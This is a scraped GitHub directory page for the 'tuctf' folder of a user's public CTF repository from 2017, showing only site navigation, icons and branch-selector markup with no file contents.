<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> vngkv123 </span> <span>/</span> CTF
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>14</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>38</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/vngkv123/CTF/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":105910326,"originating_url":"https://github.com/vngkv123/CTF/tree/master/ctf_in_2017/tuctf","user_id":null}}" data-hydro-click-hmac="3eacc9a2029da58672ed9f227bd7abf0392269baef27dd46a04e32a87c06b58f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/vngkv123/CTF/refs" cache-key="v0:1507219027.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dm5na3YxMjMvQ1RG" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/vngkv123/CTF/refs" cache-key="v0:1507219027.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dm5na3YxMjMvQ1RG" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_in_2017</span></span><span>/</span>tuctf<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
